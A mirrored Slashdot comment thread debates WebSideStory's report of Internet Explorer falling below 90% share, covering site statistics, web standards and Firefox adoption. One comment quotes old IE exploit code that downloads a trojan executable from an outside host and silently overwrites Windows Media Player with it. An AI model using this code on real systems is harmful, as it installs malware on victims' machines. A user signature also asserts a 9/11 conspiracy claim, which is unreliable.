Slashdot Mirror
Internet Explorer's Share Dips Below 90%
sheepoo writes "CNN has a story stating that, according to a WebSideStory report, Internet Explorer has slipped below 90% usage share for the first time." From the article: "Firefox, an open-source browser collectively developed by the Internet community under the Mozilla Foundation, had a 6.8 percent share as of April 29, an increase from 3.0 percent since WebSideStory began tracking Firefox separately in October."
Googledot receives a few hits everytime someone mentions it on Slashdot. I've been keeping track of the hits and such, which show 67% of slashdotters (who are willing to click a link for a laugh) are using firefox, and only 14.5% of them are using Internet Explorer. It is interesting to look at how many people still use Windows over *nix too. I guess it is all very much depending on what type of website you're counting from too.
You can look at a few statistics here that have been collected since over a few months.
Proceed with Format (Y/N)? Y
Firefox reaches 10 %. Then I will be *really* impressed. We just had a discussion on the "alleged" decrease in Firefox growth rate right.. This one appears a little redundant to me.
... and I shall strike upon thee with great vegeance, furious anger and a slightly positive karma.
but I haven't run into any sites lately that require IE. Recent Mozilla handles everything just fine. Apart form some minor rendering weirdness on a few sites I haven't had to jump over to IE for anything.
Now "only" 9 out of every 10 systems uses IE. Hopefully FireFox will continue to grow and IE will continue to shrink.. of course that will be tough when Microsoft copies all of Firefox's features in the next release of IE.
=-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
What does 90% market share really mean? I use both IE and Firefox on the same machine. Do they both get counted?
I love vague facts and figures
Oh my god! Microsoft's monopoly level has fallen from "complete total dominance" down to "utterly terrifying massively overwhelming" in web browsers.
But, wait, actually. Seriously for a second. Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows? Wasn't the argument that IE was illegal tying because there would not be competition due to MS's dominance with Windows?
Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget. This kinda proves what MS was saying, and disproves what the DOJ was saying.
If posessing 90% of a market denotes an "almost dead" product, I'm glad you're not MY boss! Sheesh!
Maybe when IE has less than 10%, you can start calling it "almost dead".
"Ask not what your country can do for you." --John F. Kennedy
...for, I dunno, *this* page, which still doesn't render right in Firefox.
With the majority of Mac users not running IE, none of the linux guys (except under crossover office), and the increasing downloads, installs, and users of firefox, opera, and others, it seems like IE would be a lot closer to 80% than only just under 90.
antipaucity
Reminds me alot of this article on /. talking about IE being below 90% 2 months ago.
http://slashdot.org/article.pl?sid=05/03/19/053720 5&tid=154&tid=1
"The only war the French have ever won was their revolutionary war... sad that it means that they also lost that one..."
If you could track stats like whether the clicker was at work or not, you'd probably find a high correlation between work==Winshit/IE, home==*nix/!IE.
Engineering is the art of compromise.
FireFox has tallied up 15.52 percent of the hits to my site since May 1.
Tristan Yates
It's probably based on the platform you use to work on.
When i was at school i predominantly surfed from linux, at work it's predominantly solaris, and when i change jobs i'll be back to windows.
If you are in the computer field then you pretty much run whatever OS is required for your job.
and growing
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
It's preinstalled on a good percentage of home user's operation system.
If Firefox can keep its usability/functionality/security edge over IE, I think that the numbers could keep falling.
The way firefox spreads (world of mouth, mainly) can only become more powerful the more people use it.... if it can maintain its edge.
Excuse me, I don't mean to impose, but I am the ocean
Internet Explorer has slipped below 90% usage share for the first time.
First time? Was the author born after 1998?
Speak truth to power.
LOL.. is this a troll? I'll bite. Let's see.. FireFox has had a few bad security flaws recently (most had patches release the SAME DAY), is not integrated with the OS (this is a GOOD thing from a security standpoint) and offers MUCH greater functionality (www.mozdev.org). IE offers LESS functionality, is like swiss cheese when it comes to vulnerabilities and you have to wait until Microsoft decides to release a patch once a hole is discoverd. Of course IE is "compatible" with more sites (as long as you don't consider RFC compliance or if the site adheres to any internet standards).
=-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
because I'm upgrading my son's iMac and the new Mac mini won't have IE at all, just Firefox.
IE - it's what's for dinner.
Hint to Bill G - the market cares nothing for past laurels, and reroutes around FUD eventually.
-- Tigger warning: This post may contain tiggers! --
See this is a new type of business model that Microsoft can't beat. It used to be that when they decided to bundle or bully, competitors are dead.
No more. Firefox doesn't need to make $ to survive, so M$ can't beat by price. Bundling won't work either because broadband is everywhere.
Now, the killer app (analogy) is reputation. IE has been branded as spyware/exploit-ridden. People want an alternative. IE has lost its credibility.
eTrade SUCKS
Hey, I typed it fast, ok. It was almost first post glory! I didn't do all that 'thinking' stuff. Pff, some people.
To prevent this day from getting worse, I'll just read ERROR as GOOD TH
So, even before it was writte^H^H^H^H^H^Hcopied from Mosaic, it had 90% market share? That's AMAZING! :)
You are not the customer.
watch what happens when IE7 is released
That IE has 90% is a clear demonstration that the DOJ anti-trust stuff is having no real impact on slowing the Microsoft monopoly.
Engineering is the art of compromise.
Okay, just curious, but wondered how much of the traffic measured accounts for, knows about, figures in, etc., for Firefox "reporting in" as Internet Explorer so as not to get rejected from using that site. I have mine set to be "Internet Explorer" for my on-line banking (go figure). Think it would add any significant usage for Firefox?
I hope that this data will motivates webmasters and site designers to create more universally viewable sites.
Two wrongs don't make a right, but three lefts do.
Anyone else have trouble implementing new/better/more cost effective solutions because of Politics??? A phrase I've heard repeatedly from upper levels:
"We've used 'X' software for 10 years so we are never changing."
They only like what they are used to, even though FF is better.
Squidward: "Spongebob, If I had a dollar for every brain you don't have, I'd have 1 dollar."
Before I take a break for my weekend, I'd like to request slashdotters to throw some light on what methodology these WebSideStory guys use to get their numbers. Is it the case that when I fire up IE, the IE numbers get a plus and when I switch do Firefox, even on the same machine, Firefox numbers get updated accordingly...and this happens wherever on this earth I might be? What software could do this?
Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget.
"Ultra shoestring budget"? Relative to Microsoft sure, but the vast majority of Mozilla development occured with the direct financial support of AOL, Sun and what was left of Netscape after the buyout with numerous other companies contributing. The Mozilla foundation was given millions of dollars to get started. While none of that in any way detracts from how impressive their accomplishment is, I would hardly describe them as working on "an ultra, ultra, ultra shoestring budget."
I was handed this site - www.worldwidehotelsonline.net - by a family startup who had some guy cobble it together for them in ASP/VBScript. Their business was suffering because it updated the XML as soon as a customer showed initial interest rather than on completion of the transaction (honest). The application also couldn't figure max. child ages properly. I hated pointing out to them that they were also losing 10% of potential business because the front page Country dropdown was coded for MSXML/IE only.
It had less than 90% long ago, in the before time...
Appended to the end of comments you post. 120 chars.
...of Internet Explorer users, but one has to wonder what percentage of those users also have pirated copies of Windows?
What could we do to do firefox even more atractive? I mean, it has taken half of a year to steal a...5%?. If we *really* want to spread firefox we need to spread more quickly, at this rate it'd take years to have 50% of the market share.
If yesterday's Firefox promo video discussion, is any indication, we should be seeing that "dip" reverse course with the next polling... Billgatus needus worrius notis...
and now back to the fallout shelter...
f(x) = number of user
f'(x) = growth = growth rate
f''(x) = grown increase rate
So
Decrease in growth rate == decrease in growth
In related news, according to this story, IBM employees (numbering +- 300,000) are urged to switch over to Firefox. That should help the numbers even more
...if Firefox (or any other browser) were installed with Windows machines by default like IE, said browser's share would be much higher. MUCH higher.
People use what's put in front of them. IE's 90% share doesn't mean it's that much better than the alternatives.
"People" using "unnecessary" quotes should be "shot".
No.
The breakdown of the top 15 is:
1 82.63% Mozilla
2 14.70% Microsoft Internet Explorer
3 0.46% Opera/8.0 (Windows NT 5.1; U; en)
4 0.25% msnbot/1.0 (+http://search.msn.com/msnbot.htm)
5 0.25% Googlebot/2.1 (+http://www.google.com/bot.html)
6 0.21% Mediapartners-Google/2.1
7 0.18% Microsoft URL Control - 6.01.9782
8 0.16% Opera/8.0 (X11; Linux i686; U; en)
9 0.10% Opera/8.0 (Windows NT 5.0; U; en)
10 0.07% Opera/7.54 (Windows NT 5.1; U) [en]
11 0.07% Opera/7.54 (X11; Linux i686; U) [en]
12 0.02% Avant Browser (http://www.avantbrowser.com/
13 0.02% Opera/7.20 (Windows NT 5.0; U) [en]
14 0.02% Googlebot/2.1 (+http://www.googlebot.com/bot.html)
15 0.02% Links (2.1pre17; Linux 2.6.10-gentoo-r1 i686; x)
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
Early on, MS preferred WebSideStory's numbers to OneStat because OneStat showed more of a decline for IE. Personally, I think OneStat has more accurate global numbers. This is a trend that MS can't ignore, and can't really do much about.
Shows how Firefox/Mozilla/Microsoft/Google(.org|.com) compare:
= 12516546
http://it.slashdot.org/comments.pl?sid=149315&cid
Simpy
I think its important to note that this isnt just a good sign for Firefox, its also great news that the more standards compliant browsers (like Safari & Opera) are taking share away from older, broken ones like IE 4 and (to a lesser extent) IE 5. As more of the web transition toward browsers that allow developers to take advantage of the power of CSS, we can begin to push further toward the semantic web.
Business Voyeur
Patches? I must have missed those. I've always had to re-download the entire build.
Anybody that ever switched from Firefox back to IE for security reasons, respond to this...
You haven't visited http://weightwatchers.com have you?
I went there with Firefox 1.0.4. If you examine the URL they forward you to and the site itself you learn that their web masters assume Firefox doesn't support JavaScript or Cookies, and there's no "Click here to use the site anyway" like button.
I had an exchange with their customer service a month or two ago about this, and their reply amounted to saying they wouldn't support an "unpopular" browser.
I sent back an article about Firefox having more users than all non IE browsers combines, and they sent back the same form letter about not supporting every browser.
Funny thing is, if I spoof my browser string as Internet Explorer 34691.0.45.72.22222 running on Windows THFFFT, the site works fine. I haven't signed up yet though, since I won't spend my money on a site that require me to futz around with obscure browser settings to work.
I also found it odd that their email replies seemed to consider Firefox to be an Opera variant.
"Live Free or Die." Don't like it? Then keep out of the USA
If you poke a hole in a body -- or for the squeamish in the audience, a balloon -- it will begin to empty of its contents. At some point, it will drop to 90% capacity and yet could still be said to be almost dead. ;)
I watched C-beams glitter in the dark near the Tannhauser gate.
LIES!! Having less than 10% does not constitute as almost being dead!! NO! NEVER!! I DON'T BELIEVE IT!! They will cater to a niche market, who enjoys removing spyware, rendering pages wrong...yes...yes... /Yes, I'm a Mac User
No Safari? Do these stats lump it in with Mozilla, or something? Or does it really have less than 0.02% marketshare? :p
"CNN has a story stating that, according to a WebSideStory report, Internet Explorer has slipped below 90% usage share for the first time."
Since when? I think you meant slipped below 90%. Back in the day, there was only Mosiac. Then Microsoft introduced IE to do battle with Netscape. Netscape was around for years before IE.
No, the internet wasn't invented by Al Gore, and it didn't just start 5 years ago.
I dunno. This is the stock output from webalizer.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
news if it is factual.
if not - it is nice to have some fud out there against microsoft.
I hope all the idiots that wrote their site for ie only are getting nervous now - they should be - you do not write a site for a specific browser - to write to open standard protocols.
...these IE using motherfuckers?
I haven't used IE in months [other than on my pocketpc where I don't really give a shit].
In windows firefox is just a nicer browser. MS IE has so little to offer that is productive...
Tom
Someday, I'll have a real sig.
Why do people assume that the only reason for not using Microsoft products is that you don't like Microsoft?
I don't use Cubase because I hate Emagic, or PSP because I don't like Adobe.
I do use Firefox because it works fine, and I have not had any spyware since I started using it. It's quite simple really, and if Microsoft comes out with a better browser, I'll use that. They are both 'free' as I got explorer free with Windows.
I guess Outlook use has dropped by 50% as sales for kosher r0lex w4tch3s has fallen too?
I wonder why they have manipulated the statistics like that. They split Opera into different versions and systems, while not doing the same for IE and "Mozilla". In the case of Mozilla it's even worse, the lack of Firefox suggest they lump all Gecko based browsers together as Mozilla. Besides where are Konqueror and Safari?
Bzzt, wrong!
Firefox renders to something called a standard.
Slashdot is absolutely nowhere near any known web standard.
Thus, Slashdot's HTML is ballsed up. Firefox may stand a better chance with valid HTML, the other browsers are using 'quirks' mode and rendering what they think the page should say, not what it does.
How many people can read hex if only you and dead people can read hex?
The breakdown of the top 15 is:
1 82.63% Mozilla
Which means that your original claim that 83% use Firefox is inaccurate. Mozilla can mean anything from Firefox to the Mozilla 'Seamonkey' Suite to Netscape or anything else based on Gecko, depending on how your logging software interprets User-Agent headers.
It's great to see a site where IE isn't dominant, but Firefox can't take all the credit.
O frabjous day! Callooh! Callay!
The thing is that Mozilla/Firefox only has to attain around 10% marketshare in order for web developers EVERYWHERE to have to support it. No site can afford to just throw away 10% of thier customers.
With IE not being specifically designed to by sites anymore, it's even easier for people to not use IE and then other features draw them over.
It's already starting to happen really as it's far easier to not use IE now than it was two years ago - and IE share is reflecting what happens if people actually have a choice, even if one of the choices is a default.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
How does it count people using a browser that reports it is a different browser to not be blocked from content?
*Cough*
I don't have anywhere to host pictures, but using Safari just changing the User Agent gets you different style sheets. Net effect is some stories render horribly when it serves a Safari page, but fine when it serves an I.E., both in Safari. I'm not going to accuse them that that is their goal, but it has definitely happened and changing the User Agent reveals no problems that required a separate style sheet.
R: That voice. Where have I heard that voice before? B: In about 365 other episodes. But I don't know who it is either.
Also add in that Microsoft pretty much disbanded their IE team for several years, so that meant there was no improved competition for Firefox. If Microsoft had continued to work on IE (adding tabs, anti-popup, more security etc) then I wonder how much market Firefox would have now.
Microsoft is strong in Asia, with Internet Explorer commanding a share of 94 percent
in korea, only old ppl use Firefox. apparently.
"Is this just useless, or is it expensive as well?"
I just took at quick look at our NetTracker database and found that currently 9.5% of our visitors are using Mozilla. This is from a site that about 5 million hits a week. Keep in mind, our clientel is mainly composed of stupid daytraders, so 9.5% is quite good!
Still #1 -- Lonely Gay Geek
Anywho, hopefully this will provide webmasters with enough incentive to create proper standard HTML pages instead of designing them for IE only.
:D
I'm hoping for XULRunner to come out so we can start dev'ing our XUL apps
That's amazing. I want to know what 80% of the world, which doesn't use the internet but does use internet explorer, is using it for...
April 2005: 49.81% Nov 2004: 59.07%
9/11: Never forget it was a false-flag operation
No problems here.
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
Because IE is already installed on PC's, I don't think that figure will drop much lower. But....
we can change this.
Are you working at dell and create their default images?
Are you working in your local PC Supermarket?
Then do the world a favor and pre-install firefox and remove all icons linking to IE. (Or link them to firefox.exe)
What power has law where only money rules.
Bill Gates: "Internet Explorer has fallen below 90% of the browser market! We still have total dominance! OSS is a dismal failure! Buy Windows XP!"
You must think in Russian.
I wonder why IE is so popular in Japan and Asia and if there is anything that can be done to address that.
http://www.launch.com/ is one!
Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
You don't go directly from 0 to >50%. This is your basic "Tipping point" type of sociology. The first 10% is INCREDIBLY difficult to get. Once it becomes 'clear' that most of the trend setters are using something other than IE, there will be a fairly quick move to >50%. That is the basic premise of the "Tipping Point". I won't speculate on what the 'tipping point' percentage actually is but I would claim that we are well on the way there...
firefox does not render the web according to a standard. check this test if you dont believe me:
http://www.webstandards.org/act/acid2/
no browser renders the web according to the standards. have you ever tried writing a website to work across all browsers?
even safari (the only browser so far to pass acid2) doesn't render according to standards - they had to hack the code to make it render the parts of the standards that acid2 touched on (not the entire standard).
Firefox has a bug, deal with it.
I've got the same specs, and it did in fact crash on me. The feedback agent sent the report.
http://www.maxthon.com/
Really makes the switch from browsing at home to work alot smoother, even if it isn't a perfect solution. What it really makes me think though - if these guys can get tabbed browsing and whatnot into the current IE, why is MS not doing the same thing to slow lost market share to more usable/secure browsers???
I gave FireFox a try for a while, found that it didn't really appeal to me all that much and switched back to IE.
Security concerns have never been an issue for me as far as IE is concerned, nor would I be concerned about flaws in FireFox for that matter.
I've been running as a LU ever since Windows 2000 and I've yet to be plagued by either spyware, trojans, email viruses or anything else malicious.
The only inconvenience that ever crops up is because of vendors who fail to realize their app doesn't need full admin privileges to run and even then, getting it to run as Admin under an interactive LU account is only one extra additional click.
If you were plagued with spyware and viruses while running IE, you're no safer under FireFox or any browser because your basic methodology is flawed.
An LU account, adjusted zone settings and properly set system policies eliminate pretty much anything that IE (or any other browser for that matter) suffers from except phishing and there common sense is the only thing that will keep you safe anyway.
If you are worried about the security impact of a certain site, run your browser in a further restricted context and it won't even have write access to anything what so ever.
If you're a casual computer user then FireFox will keep you safer than IE, at least right now. If you have any bit of technical expertise or interest pertaining to Windows and you still get spyware and virus infections from using IE, you only have yourself to blame.
Blaming your lack of knowledge or unwillingness to keep your computer secure on a piece of software is not only childish, it's reckless. It should be a basic assumption that no matter which program you use, at some point, some flaw is going to appear and your computer will be at risk of running some malicious piece of software or code. The only solution is to make sure the harm it can do is severely limited which the above accomplishes rather well if my personal experience is any indication. Then, if it turns out the program you're using is 100% secure, all the better; if it turns out to have an exploit, you can sit back and watch the rest hype and scream and try to blame anyone or anything but themselves.
Since it started out with a market share of 0%, this obviously cannot be the case (nor does the original article say that it is). This might be the first time it's slipped below 90% since Netscape went more-or-less under.
Suffice to say it's a subset of Slashdot readers who get to popular articles fairly quickly.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
Quit waiting and start building! You can even do it with the free MSVC command line tools.
Yes, the instructions are for building Firefox, but it is a simple matter to switch targets if you've followed the rest of those build instructions.
std::disclaimer<std::legalese> sig=new std::disclaimer; sig->dump(); delete sig;
Of that 83%, 64.6% contain the word firefox.
"I'd rather be a lightning rod than a seismometer." -Ken Kesey
Netcraft confirms: "IE is dying"
Can't believe no one jumped on this one, what happens? No more immature jokes on slasdot?
"It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
RedmondMag covered WebSideStory's stats catching up with OneStat's two months ago:
You mean, you don't remember pulling your first Mac Plus out of the box and using your bundled copy of Microsoft Internet Explorer immediately after setting it up? Looks like someone hasn't been taking their ginko biloba :P
If you think about FIrefox, it is a consumer-driven entity...driven by the features that we users actually want in a browser. If you don't like it, write a plug-in or get involved in development. If you don't, so be it. MS has had little historical reason to implement features that consumers want if their commercial users buying web software packages from them side lobbied for them. Popups could have gone away a long time before they did in the IE release cycles if MS wasn't working both sides of the fence or was concerned more about the user experience. Wonder why there are no IE plug-ins (and won't be until the market forces it)? Go Firefox! At least it is keeping the game interesting.
compared to 69% there for IE.
With IBM officially supporting FF for internal use, (and I imagine quite a few German companies must be doing the same), I wonder what the implications are for developers. Will we soon be able to assume a standards-compliant browser? Could some IT departments start using XUL to its full potential?
If anyone has any information about why Germans are so far in advance, please do tell.
Information: "I want to be anthropomorphized"
There's no such thing as 100% "safe", unless you disconnect your network cable and live in a bunker. I think the correct term for Firefox over Internet Explorer would be "safer".
And yes, I think firefox is safe compared to internet exploiter. I switched originally to Mozilla 1.5 or 1.6 after reading this webpage
Here's the main chunk of offending exploit code (I'm pretty sure Microsoft finally fixed this after MANY months, since this is an old exploit)
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://adversting.co.uk/a.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
What does it do? Well it downloads a.exe (a nasty trojan), and replaces windows media player with it (no warning or comfirmation dialog, just auto installs it!). Of course, this only works if your logged in with admin priviledges, and I bet 75% or more windows users are "admin".
I personally use Windows XP as admin for regular daily use, I know this isn't secure, but I have no choice. Running as admin is the only way 50% or more of my applications and games will run at all. I've run as admin for 2 years now on this computer, and have never got a virus or trojan or worm or anything. I use firefox and this helps, with Internet Explorer, running as admin would be a death trap.
I've tried to create a limited use account on multiple occasions, set it up to look and feel exactly like my current admin account, and try to do anything productive. It's a pain in the ass to put it lightly. I end up deleting the limited use account after 1 hour and going back to admin only.
Also, Firefox also uses Quirks mode for certain DOCTYPEs. More or less every browser on earth does, since some DOCTYPEs are known to more or less always house messed up code. If you pop up Firefox's Page Info dialog for a given page, you'll see if it's rendering it in quirks mode or standards compliance mode.
Well, using a conservative starting point for the French state they've won the Hundred Years War, the 30yrs War and the wars against Spain in the 17th century, arguably the wars under Louis XIV (they were rather indecisive but France expanded in most of them), the American Independence War, the Crimea War (were they did a lot more than the British which were rather ineffective due to the lack of an enemy fleet to destroy), WW1, officially they were victorious in WW2, and a number of smaller wars I've overlooked.
Don't think of it as a flame---it's more like an argument that does 3d6 fire damage
Please to be giving me mud ponts now! Firefux Rulz!
I liked it better when nerds weren't cool.
http://www.webstandards.org/act/acid2/
The test reminds me of a Dilbert strip where Dilbert has to dumb down his technical presentation to a such a level that the senior management can understand. His presentation ends up being a picture of a frowny face.
If Microsoft had continued to work on IE (adding tabs, anti-popup, more security etc) then I wonder how much market Firefox would have now.
If the sky was purple, I wonder if that would be most people's favorite color.
A monopolized market is a stagnant one.
The Acid test does not test standards, it tests that browsers won't freak out when confronted with bad code. Validate it with the w3c CSS validator if you don't believe me.
You're both right. Firefox supports html standards (though not the full CSS standard, hence the Acid2 problems). And yes, slashdot is absolute crap, the code is HTML 3.2, and it's totally non-standard. Alistapart.com did a retooling of slashdot to standards compliant XHTML and CSS, and it worked fine.
/. using the standards.
Yes, there's a bug...and yes, it's fixed in any of the nightly builds of FF, and will be fixed in FF 1.1
However, if slashdot was valid XHTML and CSS instead of nested table after nested table with invalid elements, it would go a long way toward preventing the problem. I can't say it would fix it for sure, but the problem certainly wasn't there on the retooling ALA did of
So you're both right: it's a bug, but the slashcode html generation is crap, too.
-Jay
The Acid test does not test standards
Let's see what the Acid test has to say about this, shall we?
You are wrong, in fact so wrong, you are utterly clueless. It tests support for, among other things CSS. Part of the CSS specification requires user-agents to handle errors in certain ways. Therefore, in order to test CSS conformance, it must include errors in its stylesheet.
The fact that you can see errors when you validate it is merely evidence that it's testing conformance to part of the CSS specification that handles errors. It tests conformance to the other parts of CSS too.
In general, when correcting somebody, try to have at least some knowledge of what you are talking about. In this particular case, it's obvious that you've never even seen the test, because it states up-front that it's all about testing standards. That's its very nature. You might as well argue that water isn't wet.
If the problem was Slashdot's HTML, why does the bug happen only part of the time?
(Hint: the problem isn't Slashdot's HTML, despite fact that it sucks.)
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
Being safER is a good enough reason to use it. :)
http://www.livejournal.com/users/metricmusic
I have seen statements like these a lot on Slashdot but I use FireFox and I see nothing wrong with the pages. Maybe its just that I do not know how it should look. However it looks allmost the same as in Konqueror accept for some slight differences in fonts, different form looks and the adds which do not appear in firefox thanks to adblock. Can someone show whats wrong with slashdot pages in firefox?
*That* I know is a problem in Firefox due to when page elements get rendered (ie before the whole page is loaded), which is why zoom in zoom out fixes it by forcing a total re-render.
The fact it happens at all is due to godawful HTML.
How many people can read hex if only you and dead people can read hex?
I wonder if this include favicon hits ;)
;)
Last 6 hours from webserver.
Explorer 72.9%
Firefox 15.5%
After excluding favicons hits.
Explorer 78.1%
Firefox 9.9%
I really should creates a very small, very cachable favicon, and figure out how to get it served if the website being served doesn't have one, this would save a lot of wasted traffic.
Either way no idea how a valid test set gets anywhere near 90% for IE, I can't force the figure over 80%, and these stats are from sites with a distinct IE bias.
Market share doesn't of course affect the fact that IE doesn't run on real operating systems
...which I assume are 1,2,3
Live today, because you never know what tomorrow brings
I run a wiki for computer/electronic artists (ruccas.org). A whopping 56% of the visitors are using Firefox. IE accounts for 18%. Safari brings in 16%. Hell, Opera brings in 7%. Pretty incredible really. I should note that only six months ago, Firefox was around 25%.
when i was asked earlier this year to create a simple website for somebody, he made some requests that were typical things supported by IE. i told him not to do it, because not everybody is using IE (like myself). His reply was - well, allmost everybody is using it, why should i bother with those few people? upon which i replied - yes, but over 10% of the people on the net use something else. to my surprise his reply was - really? 10% that many, if that is the case we have to take that into account.
so, as you can see, for companies wanting a site on the net, 10% of the internet not able to view their site correctly is already enough.
On a long enough timeline, the survival rate for everyone drops to zero.
Because the HTML is godawful, valid or not.
I acknowledge Firefox has a render bug (though I haven't seen it recently), but I'm pointing out that if Slashdot HTML wasn't invalid and generally piss-poorly organised (Nested tables anybody?) then Firefox would stand a far better chance.
How many people can read hex if only you and dead people can read hex?
That site loads just fine here, but it does seem to require a plugin i don't have installed.. Most likely that's the issue, most of the closed-source binary plugins i've used with firefox are the biggest cause of instability..
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
I'm torn. I can't decide if that was "Funny" or "Troll".
Ah fudge it. I'll go raid the fridge.
"Live Free or Die." Don't like it? Then keep out of the USA